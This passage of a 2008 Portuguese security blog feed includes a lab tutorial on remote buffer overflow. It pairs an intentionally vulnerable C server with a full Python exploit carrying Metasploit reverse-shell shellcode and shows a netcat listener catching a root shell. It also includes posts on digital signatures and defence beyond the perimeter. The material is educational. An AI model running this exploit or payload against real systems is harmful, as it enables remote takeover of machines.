<p class="western"><span lang="pt-BR">No caso específico dessa 	vulnerabilidade SSH1 CRC32, um conteúdo inteiro de 32 bits é 	atribuído à uma variável de 16 bits da rotina “<a href="http://www.securiteam.com/securitynews/5LP042K3FY.html">deattack.c</a>” e 	pode ser explorado remotamente pelo envio de um pacote 	cuidadosamente montado para esse fim</span><span lang="pt-BR">.</span></p>
<h2 class="western">Reproduzindo o Ataque</h2>
<p class="western">Conceitualmente simples, na prática, o ataque de 	<em>buffer overflow</em> remoto não é tão fácil de ser bem 	sucedido, por depender de posições de memória que mudam de acordo 	com a compilação, versão do sistema operacional, etc. Claro, que 	uma vez criado o <em>exploit</em> que efetivamente funcione para uma 	determinada versão de software e sistema operacional, o ataque 	torna-se trivial de ser reproduzido.</p>
<p class="western">Como a vulnerabilidade utilizada no filme é 	muito antiga, após exaustivas buscas na internet, consegui achar o 	<em>exploit</em> para essa vulnerabilidade, porém, não consegui 	achar a versão de SSH compatível, na sua forma binária e 	instalável numa versão de SO compatível com o <em>exploit</em>, 	impossibilitando a reprodução fiel do ataque usado no filme.</p>
<p class="western">Diante dessa dificuldade, optei por apresentar 	uma demonstração acadêmica da exploração remota de <em>buffer 	overflow</em>, utilizando um programa meramente demonstrativo.</p>
<p class="western">O programa escrito em linguagem C, comporta-se 	como um servidor, escutando uma porta TCP e ao receber um dado por 	essa porta, exibe na console e envia uma mensagem de retorno ao 	cliente.</p>
<p class="western"><strong>Server</strong></p>
<pre>#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;

void error(char *msg)
{
    perror(msg);
    exit(1);
}

void viewer(char *string)
{
        //declaracao de char buffer
        char buffer[1024];
        //a string do parametro eh copiada nesse buffer
        strcpy(buffer,string);
        //e depois mostrada na stdout
        printf("Mensagem recebida: %s\n",buffer);
	fflush;
}

int main(int argc, char *argv[])
{
     int sockfd, newsockfd, portno, clilen;
     char buffer[2000];
     struct sockaddr_in serv_addr, cli_addr;
     int n;
     if (argc &lt; 2) {
         fprintf(stderr,"ERRO: porta nao especificada.\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if (sockfd &lt; 0)
        error("ERRO ao abrir socket");
     bzero((char *) &amp;serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &amp;serv_addr,
              sizeof(serv_addr)) &lt; 0)
              error("ERRO de 'bind'");
     listen(sockfd,5);
     clilen = sizeof(cli_addr);
     while(1)
     {
        newsockfd = accept(sockfd,
                 (struct sockaddr *) &amp;cli_addr,
                 &amp;clilen);
     if (newsockfd &lt; 0)
          error("ERRO na recepcao");
     bzero(buffer,256);
     n = read(newsockfd,buffer,2000);
     if (n &lt; 0) error("ERRO na leitura do socket");
     viewer(buffer);
     n = write(newsockfd,"A mensagem foi recebida pelo servidor.", strlen("A mensagem foi recebida pelo servidor."));
     if (n &lt; 0) error("ERROR na gravacao do socket");
     }
     return 0;
}</pre>
<p class="western">No código do programa, podemos observar na 	função <em><strong>viewer()</strong></em>, o ponto vulnerável do programa. A 	variável <em><strong>buffer</strong></em> é definida com o tamanho de 1024 	bytes, mas não existe qualquer verificação quanto ao tamanho do 	dado atribuído a ela.</p>
<p class="western">Dessa forma, se enviarmos um pacote com 1028 	bytes (antes da região EIP, que desejamos alterar, existe o EBP com 	4 bytes, mas não nos interessa), <strong>mais o endereço de desvio</strong>, 	podemos sobrepor o endereço original. Existem certos detalhes 	técnicos adicionais que tornam o desenvolvimento do <em>exploit</em> mais complexo, mas que fogem ao escopo desse artigo. Maiores 	informações podem ser obtidas consultando os documentos citados 	nas referências desse artigo.</p>
<p class="western">Na nossa demonstração, compilamos e executamos 	esse programa servidor  numa máquina virtual Vmware, com sistema 	operacional Debian 4.0,  kernel  2.6.18-6-486, enderço ip 	172.16.56.128, porta 1025. O ataque parte da máquina hospedeira, 	Ubuntu 8.04., ip 172.16.56.1.</p>
<p class="western">Para realizar o ataque, utilizamos um <em>script</em> em <em>python</em> com o <em>payload</em> ou <em>shellcode</em> (código 	malicioso) gerado pelo <a href="http://metasploit.com:55555/PAYLOADS"><em>metasploit</em></a> e realizar uma conexão reversa do servidor para o cliente na porta 	4444.</p>
<p class="western"><strong>Exploit</strong></p>
<pre>#!/usr/bin/env python

import socket
import getopt
import sys

host = "172.16.56.128"
port = 1025

# linux_ia32_reverse -  LHOST=172.16.56.1 LPORT=4444 Size=202 Encoder=Alpha2 http://metasploit.com
shellcode = \
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49" \
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x45" \
"\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x55\x41\x32\x41\x41\x32" \
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x48\x69\x36\x51\x6b" \
"\x6b\x31\x43\x77\x33\x73\x63\x31\x7a\x46\x62\x41\x7a\x33\x56\x36" \
"\x38\x4b\x39\x49\x71\x78\x4d\x4b\x30\x4f\x63\x33\x69\x4c\x70\x65" \
"\x6f\x68\x4d\x6f\x70\x57\x39\x74\x39\x4b\x49\x33\x6b\x41\x4a\x42" \
"\x48\x4c\x6c\x44\x50\x56\x58\x44\x41\x75\x36\x30\x68\x72\x31\x61" \
"\x4c\x73\x73\x33\x56\x43\x63\x4e\x69\x4b\x51\x6e\x50\x51\x76\x62" \
"\x70\x42\x71\x52\x73\x6c\x49\x48\x61\x30\x43\x68\x4d\x6d\x50\x63" \
"\x62\x42\x48\x74\x6f\x54\x6f\x63\x43\x52\x48\x35\x38\x36\x4f\x61" \
"\x72\x70\x69\x30\x6e\x4c\x49\x6a\x43\x61\x42\x63\x63\x4b\x39\x79" \
"\x71\x6e\x50\x76\x6b\x4a\x6d\x4b\x30\x45"

retaddr = "\x77\xe7\xff\xff"
buff = "A" * 1028 + retaddr + shellcode + "\x00"
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(buff)
sock.close()
sock = None</pre>
</div>
<h2 class="western">Realizando o ataque</h2>
<p class="western" style="margin-bottom:0;">Os passos para executar o ataque de demonstração consistem no seguinte:</p>
<ol>
<li>
<p class="western" style="margin-bottom:0;">Inicialmente, 	colocamos o servidor para executar no Debian, rodando na VM, 	escutando a porta 1025.</p>
</li>
<li>
<p class="western" style="margin-bottom:0;">Na máquina 	hospedeira, numa sessão shell, colocamos o <em>netcat</em> escutando 	na porta 4444 para receber a conexão de retorno.</p>
</li>
<li>
<p class="western" style="margin-bottom:0;">Em outra sessão 	shell, executamos o <em>nmap</em> que confirma a existência do 	serviço (no caso, porta 1025) e em seguida, executamos o <em>exploit</em>.</p>
</li>
<li>
<p class="western" style="margin-bottom:0;">No shell do <em>netcat</em> recebemos a conexão de <em>callback</em> do servidor, onde podemos 	digitar qualquer comando, herdando as permissões da conta em que o 	servidor é executado (no nosso caso root).</p>
</li>
</ol>
<p class="western">O uso da técnica de <em>callback</em> serve para burlar as regras do firewall, iniciando uma conexão da rede interna para a rede externa.</p>
<p class="western" style="margin-bottom:0;">As telas a seguir, demonstram o ataque realizado:</p>
<p class="western" style="margin-bottom:0;"><a href="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow04.png"><img class="aligncenter size-large wp-image-172" title="bufferoverflow04" src="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow04.png?w=499&#038;h=347" alt="" width="499" height="347" /></a></p>
<p class="western">Essa tela demonstra o nmap executado na máquina cliente, verificando as portas abertas no servidor, no intervalo de 1 a 2048, onde comprovamos a porta 1025 aberta.</p>
<p class="western"><a href="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow05.png"><img class="aligncenter size-large wp-image-173" title="bufferoverflow05" src="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow05.png?w=499&#038;h=347" alt="" width="499" height="347" /></a></p>
<p class="western">Ainda na máquina cliente, comprovamos o funcionamento do servidor enviando uma mensagem de teste para ele, com o uso do comando <em>echo</em>, fazendo um pipe para o <em>netcat</em> e recebendo a mensagem de confirmação.</p>
<p class="western" style="margin-bottom:0;">Num segundo momento, executamos o <em>script</em> de <em>exploit</em>, que envia o <em>payload</em> para o servidor.</p>
<p class="western" style="margin-bottom:0;"><a href="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow061.png"><img class="aligncenter size-large wp-image-177" title="bufferoverflow061" src="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow061.png?w=499&#038;h=330" alt="" width="499" height="330" /></a></p>
<p class="western" style="margin-bottom:0;">No servidor podemos ver a mensagem de teste e posteriormente a mensagem de ataque onde se vê uma seqüência de letras “A” somente para preencher o <em>buffer</em> e em seguida a representação ASCII do <em>payload</em>.</p>
<p class="western" style="margin-bottom:0;"><a href="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow071.png"><img class="aligncenter size-large wp-image-178" title="bufferoverflow071" src="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow071.png?w=499&#038;h=347" alt="" width="499" height="347" /></a></p>
<p class="western" style="margin-bottom:0;">Nessa tela podemos ver o <em>netcat</em> escutando a porta 4444 e depois recebendo a conexão do servidor. A comprovação de que estamos no servidor pode ser obtido pelo comando <em>uname -a</em> e a conta em execução pelo <em>whoami</em>.</p>
<h2 class="western" style="page-break-before:always;">Conclusões</h2>
<p class="western">Apesar de ser de difícil execução, por depender de endereços de memória específicos para cada compilação/versão de software e sistema operacional, uma vez elaborado o <em>exploit</em> para determinada versão, sua execução é trivial e extremamente perigosa pelo resultado que o atacante pode obter.</p>
<p class="western">Esses ataques podem retornar um <em>shell</em> para o atacante, executar um <em>flush</em> no <em>iptables </em><span style="font-style:normal;">(remover todas as regras do </span><em>firewall</em><span style="font-style:normal;">)</span>, incluir contas de usuário, enviar e instalar um <em>backdoor</em>, etc.</p>
<p class="western"><em>Firewalls</em>, especialmente os construídos sobre linux, não devem conter outros serviços para minimizar os riscos, já que um ataque a um serviço vulnerável nesse equipamento pode simplesmente torna-lo inócuo pela execução de um <em>flush</em> no <em>iptables</em>, eliminado todas as suas regras de controle de acesso.</p>
<p class="western">Durante nossos testes, verificamos que o Ubuntu aborta o programa vulnerável (servidor) ao perceber uma tentativa de <em>stack smashing</em> (tentativa de corrupção dos endereços da pilha, usados nos ataques de <em>buffer overflow</em>), ao passo que o Debian não acusou nada. Isso significa que determinadas distribuições são mais seguras que outras.</p>
<p class="western">E por fim, novas vulnerabilidades são descobertas todos os dias. <em>Patches</em> (correções) ou novas versões dos softwares vulneráveis são distribuídos tão logo essas vulnerabilidades sejam descobertas e divulgadas, devendo ser aplicadas o quanto antes aos nossos sistemas para minimizar os riscos.</p>
<p class="western">Se quiser aprender mais sobre <em>buffer overflow</em>, veja as referências abaixo.</p>
<h2 class="western">Referências</h2>
<p class="western" style="margin-bottom:0;" align="left">Michal Zalewski &#8211; <em>SSH1 CRC-32 compensation attack detector vulnerability</em> – 2001 em  <span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.coresecurity.com/index.php5?module=ContentMod&amp;action=item&amp;id=1024">http://www.coresecurity.com/index.php5?module=ContentMod&amp;action=item&amp;id=1024</a></span></span></p>
<p class="western" style="margin-bottom:0;" align="left">Denis Maggiorotto – <em>Explanation of a remote buffer overflow vulnerability</em> &#8211; 2007 em <span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.milw0rm.com/papers/160">http://www.milw0rm.com/papers/160</a></span></span></p>
<p class="western" style="margin-bottom:0;" align="left">Izick – <em>Smack the Stack ( Advanced Buffer Overflow Methods )</em> &#8211; 2006 em <span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.milw0rm.com/papers/7">http://www.milw0rm.com/papers/7</a></span></span></p>
<p class="western" style="margin-bottom:0;" align="left">Mercy – Basic buffer overflow explained – 2002 em <span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.milw0rm.com/papers/97">http://www.milw0rm.com/papers/97</a></span></span></p>
<p class="western" style="margin-bottom:0;" align="left">
<p>&#8212;&#8212;</p>
<p><a href="http://drwhitehat.wordpress.com/2008/10/17/invadindo-matrix-entendendo-o-buffer-overflow/#respond">Adicione um comentário</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/167/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/167/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/167/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=167&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/10/17/invadindo-matrix-entendendo-o-buffer-overflow/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow01.jpg" medium="image">
			<media:title type="html">bufferoverflow01</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow02.jpg" medium="image">
			<media:title type="html">bufferoverflow02</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow031.png?w=500" medium="image">
			<media:title type="html">bufferoverflow031</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow04.png?w=499" medium="image">
			<media:title type="html">bufferoverflow04</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow05.png?w=499" medium="image">
			<media:title type="html">bufferoverflow05</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow061.png?w=499" medium="image">
			<media:title type="html">bufferoverflow061</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow071.png?w=499" medium="image">
			<media:title type="html">bufferoverflow071</media:title>
		</media:content>
	</item>
		<item>
		<title>Assinatura Digital não é Assinatura &#8220;Escaneada&#8221;</title>
		<link>http://drwhitehat.wordpress.com/2008/10/10/assinatura-digital-nao-e-assinatura-escaneada/</link>
		<comments>http://drwhitehat.wordpress.com/2008/10/10/assinatura-digital-nao-e-assinatura-escaneada/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 18:49:32 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[criptografia]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=158</guid>
		<description><![CDATA[O que é Assinatura Digital
Com a informática tomando cada vez mais espaço nas relações humanas, naturalmente a informação e a comunicação escrita tem passado do papel para o meio digital. Até então todas as relações jurídicas têm sido documentadas em papel e autenticadas através da assinatura de próprio punho, carimbo ou chancela.
A assinatura tem poder [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=158&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">O que é Assinatura Digital</h2>
<p class="western">Com a informática tomando cada vez mais espaço nas relações humanas, naturalmente a informação e a comunicação escrita tem passado do papel para o meio digital. Até então todas as relações jurídicas têm sido documentadas em papel e autenticadas através da assinatura de próprio punho, carimbo ou chancela.</p>
<p class="western">A assinatura tem poder de autenticidade porque pode ser cientificamente verificada, comprovando sua autoria. Assim, um documento escrito qualquer, quando assinado por alguém, constitui prova da ciência e/ou anuência do seu conteúdo pela pessoa que o assina, tendo a devida validade jurídica.</p>
<p class="western">E com a informação em meio digital? Não há como imprimir as particularidades grafotécnicas da assinatura manuscrita para o meio digital. Uma assinatura manuscrita e “<em>escaneada”</em><span style="font-style:normal;"> (digitalizada)</span> não possui qualquer valor jurídico porque pode ser reproduzida fielmente inúmeras vezes, sendo apenas representação da assinatura original e impedindo a comprovação da sua autenticidade. Assinar a superfície do CD também não garantiria que o seu conteúdo é autêntico. E quando a informação é transmitida de um lugar para outro? Não existe meio físico que possa comportar uma assinatura manuscrita.</p>
<p class="western">Para substituir a assinatura manuscrita, criou-se a Assinatura Digital, que possui características próprias e distintas do seu equivalente manuscrito. É a forma de conferir à um arquivo de dados, que pode ser um texto, um programa, uma imagem, ou qualquer forma de informação armazenada em meio digital, três características básicas que conferem prova inegável da sua autoria:</p>
<ul>
<li>
<p class="western" style="margin-bottom:0;"><em>Autenticidade</em> &#8211; o receptor pode confirmar que a assinatura foi feita pelo autor;</p>
</li>
<li>
<p class="western" style="margin-bottom:0;"><em>Integridade</em> &#8211; qualquer alteração do arquivo faz com que a assinatura não 	corresponda mais ao documento;</p>
</li>
<li>
<p class="western"><em>Não repúdio</em> ou <em>Irretratabilidade</em> &#8211; o autor não pode negar a autenticidade da mensagem.</p>
</li>
</ul>
<h2 class="western">Um pouco de criptografia</h2>
<p class="western">Para entender como essas características citadas são obtidas, precisamos entender alguns conceitos de criptografia.</p>
<p class="western">A criptografia é a forma de prover o sigilo da informação através de mecanismos de codificação aplicados à uma mensagem, que permitem que somente o emissor e o destinatário dessa mensagem possa interpretá-la. Toda criptografia depende de um método de codificação (ou algorítimo) e de uma ou mais chaves. Mesmo que o algorítimo seja conhecido, o segredo da chave garante o sigilo da mensagem.</p>
<p class="western">Existem dois tipos básicos de criptografia: simétrica e assimétrica.</p>
<p class="western">Na criptografia <em>simétrica</em>, a mesma chave que codifica a mensagem, é utilizada para decodificar, portanto ela tem que ser de conhecimento comum entre emissor e receptor. Quando o receptor não conhece a chave, o emissor tem que transmiti-la ao receptor de alguma forma, expondo uma fragilidade do sistema.</p>
<p class="western">Na criptografia <em>assimétrica</em>, é utilizado um par de chaves matematicamente relacionadas entre si sendo uma delas de conhecimento <em>público</em> e outra de uso <em>privado</em> do emissor. Apesar da sua relação, não há como descobrir uma chave partindo de seu par.</p>
<p class="western">Uma mensagem criptografada por uma das chaves (seja publica ou privada) só pode ser descriptografada com o seu par correspondente. Essa característica, permite que esse tipo de criptografia atenda a duas funções distintas: Confidencialidade e Autenticidade. A <em>Confidencialidade</em> é obtida quando o emissor criptografa uma mensagem usando a chave pública do receptor e somente esse último pode decifrar a mensagem com a sua chave privada. A <em>Autenticidade</em> é obtida pelo uso inverso, ou seja, como uma mensagem criptografada pelo emissor, com a sua chave privada, permite que qualquer pessoa decifre a mensagem com a sua (dele) chave pública, comprovando a autenticidade da mensagem, já que esta só pode ter sido cifrada com a chave privada do emissor.</p>
<p class="western">Além da criptografia garantir a <em>confidencialidade</em> da mensagem, de certa forma ela garante a <em>integridade</em>, pois qualquer alteração da mensagem criptografada gera uma anomalia na mensagem ao ser descriptografada, denunciando a corrupção da mensagem. Contudo, a forma mais adequada de garantir a integridade  é com o uso de uma função de <em><span>hash</span></em>.</p>
<p class="western">Um <em>hash</em> é uma espécie de criptografia de mão única. É um valor numérico de tamanho fixo, obtido através da aplicação de um modelo matemático, de tal forma que a alteração de um único <em>bit</em> na mensagem (ou arquivo), produz um <em>hash</em> de valor totalmente distinto do <em>hash</em> original. Portanto, se o <em>hash</em> de uma mensagem é gerada pelo emissor e enviada juntamente com ela, o receptor pode aplicar o mesmo algorítimo nessa mensagem e verificar se os <em>hashes</em> são idênticos, comprovando a integridade da mensagem.</p>
<p class="western">Note que não há necessidade da mensagem estar criptografada para o uso do <em>hash</em>. Sua função, portanto, é garantir a <em>integridade</em> da mensagem e não a <em>confidencialidade</em>.</p>
<p class="western">É importante citar que não há como obter a mensagem original a partir do seu <em>hash</em> e também, que é virtualmente impossível duas mensagens diferentes produzirem o mesmo valor de <em>hash</em> (chamado de “colisão”).</p>
<h2 class="western">Certificados Digitais</h2>
<p class="western">Um certificado digital é uma espécie de “identidade digital”. É um arquivo em formato binário padronizado e autenticado, emitido por uma <em>CA &#8211; </em><span lang="en-US"><em>Certificate Authority</em></span> (Autoridade Certificadora). Ela contém, informações de identificação pessoal e a sua chave pública.</p>
<p class="western">Quando alguém desejar obter sua chave pública, ela procura num catálogo de chaves públicas para poder criptografar a mensagem a ser enviada a você. Se o seu certificado não for emitido por uma CA (você pode gerar seu próprio certificado), você é tem que repassar sua chave pública ao emissor.</p>
<p class="western">Para verificar se um certificado é válido, o interessado deve obter a chave pública da CA que emitiu o certificado e valida-la contra o certificado. Existem inúmeras CAs espalhadas pelo mundo e como  fica inviável obter a chave pública de todas elas, existem as CAs Raiz, as quais autorizam as operações de todas as demais CAs, obtendo-se uma estrutura hierárquica que é conhecida como <em>ICP – Infra-estrutura de Chaves Públicas</em> ou em inglês, <em>PKI – </em><span lang="en-US"><em>Public Key Infrastructure</em></span>.</p>
<p class="western">No Brasil, a <span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://www.icpbrasil.gov.br/" target="_blank">ICP-Brasil</a></span></span> controla oito CAs (até o momento): Receita Federal, SERPRO, Caixa Econômica Federal, Serasa, Presidência da República, Poder Judiciário, Imprensa Oficial e  CertiSign.</p>
<h2 class="western">Juntando Tudo</h2>
<p class="western">Agora que falamos de criptografia, <em>hash</em> e certificado digital, podemos entender o funcionamento da assinatura digital:</p>
<p class="western">Em um primeiro momento o autor gera um <em>hash</em><span style="font-style:normal;"> do documento (mensagem ou arquivo) e u</span>sando sua chave privada, ele criptografa e armazena o <em>hash</em> criptografado junto ao documento original, gerando a <em>assinatura digital</em>.</p>
<p class="western">Para verificar a autenticidade do documento, deve-se gerar um novo <em>rash</em> a partir desse documento  (ou mensagem) e este novo <em>hash</em> comparado com <em>hash</em> contido na  assinatura digital. Para isso, é necessário descriptografar a assinatura com a chave pública do autor.</p>
<p class="western">Observe que diferente da assinatura manuscrita, a digital é sempre diferente para cada documento em função do valor de <em>rash</em>.</p>
<p class="western">A autoria do documento é comprovada pela descriptografia da assinatura usando a chave pública do autor, que por sua vez, tem sua identidade confirmada pelo certificado digital, obtendo-se as características de <em>autenticidade</em> e o <em>não repúdio</em>. A <em>integridade</em> da mensagem é comprovada pela igualdade do <em>hash</em> recém calculado com o armazenado na assinatura.</p>
<h2 class="western">Considerações</h2>
<p class="western">A assinatura digital já é reconhecida legalmente em diversos países, inclusive o Brasil. Para que tenha valor legal diante do governo brasileiro, segundo a Medida provisória 2.200-2, o certificado deve ser emitido por uma das instituições autorizadas pela ICP Brasil, a menos que acordada entre as partes de uma transação, o uso de outra CA qualquer.</p>
<p class="western">A tecnologia tem se difundido rapidamente em função dos requisitos de agilidade das transações eletrônicas da sociedade tecnológica de hoje. Talvez não substitua totalmente o uso do papel e da assinatura manuscrita, mas certamente será de uso corriqueiro. O aspecto preocupante dessa tecnologia, é que ela se fundamenta no sigilo da chave privada. O vazamento ou cópia da chave privada, permite que o usuário tenha sua identidade personificada por outra pessoa, já que ela pode ser utilizada para assinar digitalmente os documentos e transações eletrônicos.</p>
<p class="western">&#8212;&#8212;</p>
<p class="western"><a href="http://drwhitehat.wordpress.com/2008/10/10/assinatura-digital-nao-e-assinatura-escaneada/#respond">Adicione um comentário</a>.</p>
<p class="western">
<p class="western">
<p class="western">
<p class="western">
<p class="western">
<p class="western">
<p class="western" style="margin-bottom:0;">
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/158/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/158/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/158/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/158/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/158/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/158/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/158/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/158/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/158/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/158/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=158&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/10/10/assinatura-digital-nao-e-assinatura-escaneada/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>
	</item>
		<item>
		<title>Segurança da Informação: A defesa além do perímetro</title>
		<link>http://drwhitehat.wordpress.com/2008/10/03/seguranca-da-informacao-a-defesa-alem-do-perimetro/</link>
		<comments>http://drwhitehat.wordpress.com/2008/10/03/seguranca-da-informacao-a-defesa-alem-do-perimetro/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 09:00:07 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=153</guid>
		<description><![CDATA[Ampliando horizontes
Quando falamos em Segurança da Informação, a maioria das pessoas pensa logo em “defender a rede contra ataque de hackers”, o que normalmente é feito no ponto de conexão da nossa rede com a internet. É a borda onde termina nosso território e começa a terra-sem-dono. Daí porque é tecnicamente chamado de “Defesa de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=153&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">Ampliando horizontes</h2>
<p>Quando falamos em Segurança da Informação, a maioria das pessoas pensa logo em “<em>defender a rede contra ataque de hackers</em>”, o que normalmente é feito no ponto de conexão da nossa rede com a internet. É a borda onde termina nosso território e começa a <em>terra-sem-dono</em>. Daí porque é tecnicamente chamado de “Defesa de Perímetro”.</p>
<p>O que essas pessoas não percebem é que ataques de <em>crackers</em> (e não <em>hackers</em>) são apenas um dos tipos de ameaças a qual uma empresa está sujeita. Não se pensa em uma falha de hardware, ocorrência de incêndios ou inundações, falha no sistema de fornecimento de energia elétrica, panes de refrigeração, exclusões ou alterações indevidas de informações (acidental ou intencional), espionagem ou sabotagem da concorrência, fraudes e roubos de informações, furto de equipamentos, etc, etc, etc&#8230;</p>
<p>O número de ameaças pode ser infinito, dependendo da paranóia de quem analisa. Veja o caso das diversas empresas que sucumbiram junto com os atentados de 11 de Setembro. Muitas não sobreviveram pela perda de sua força de trabalho; outras pela perdas de suas informações. O caso clássico é o da empresa que possuía seus servidores em uma das torres e os servidores redundantes na outra torre. Quem iria imaginar um ataque terrorista no centro de Nova York e nas <strong>duas</strong> torres!?</p>
<p>A Segurança da Informação, portanto, tem uma visão muito mais abrangente do que simplesmente defender a rede contra ataques de <em>crackers</em> ou vírus. Em sua essência, ela visa a manutenção da <strong>CIA</strong>. Não, não é a agência de inteligência do governo norte-americano. São as iniciais de <span lang="en-US"><em>Confidentiality</em></span>, <span lang="en-US"><em>Integrity</em></span> e <span lang="en-US"><em>Availability</em></span>, ou <strong>Confidencialidade</strong>, <strong>Integridade</strong> e <strong>Disponibilidade</strong>.</p>
<ul>
<li><em>Confidencialidade</em> visa garantir que a informação só 	estará acessível a quem tenha o devido direito, restringindo o 	acesso aos demais indivíduos.</li>
<li><em>Integridade</em> visa garantir que a informação não será 	alterada ou adulterada, seja acidental ou intencionalmente por que 	não possua permissão para tal.</li>
<li><em>Disponibilidade</em> visa garantir que a informação 	estará acessível sempre que for solicitada.</li>
</ul>
<p>É importante ressaltar que a segurança é tratada em todas as formas de informação, seja ela digital, impressa ou até mesmo em forma de áudio e vídeo. Assim, um plano estratégico de negócios rabiscado no papel, constitui uma informação (nesse caso, muito valiosa) e deve receber o tratamento adequado no seu manuseio e descarte. Muitas empresas deixam escapar informações valiosas em suas latas de lixo!</p>
<p>Para atingir aos seus objetivos, a Segurança da Informação se utiliza de várias disciplinas distintas, cobrindo desde os aspectos técnicos da magnetização da informação na superfície do disco rígido às diretrizes estratégicas definidas pela alta direção, relacionadas à segurança, conforme veremos a seguir.</p>
<h2 class="western">Gestão de Riscos</h2>
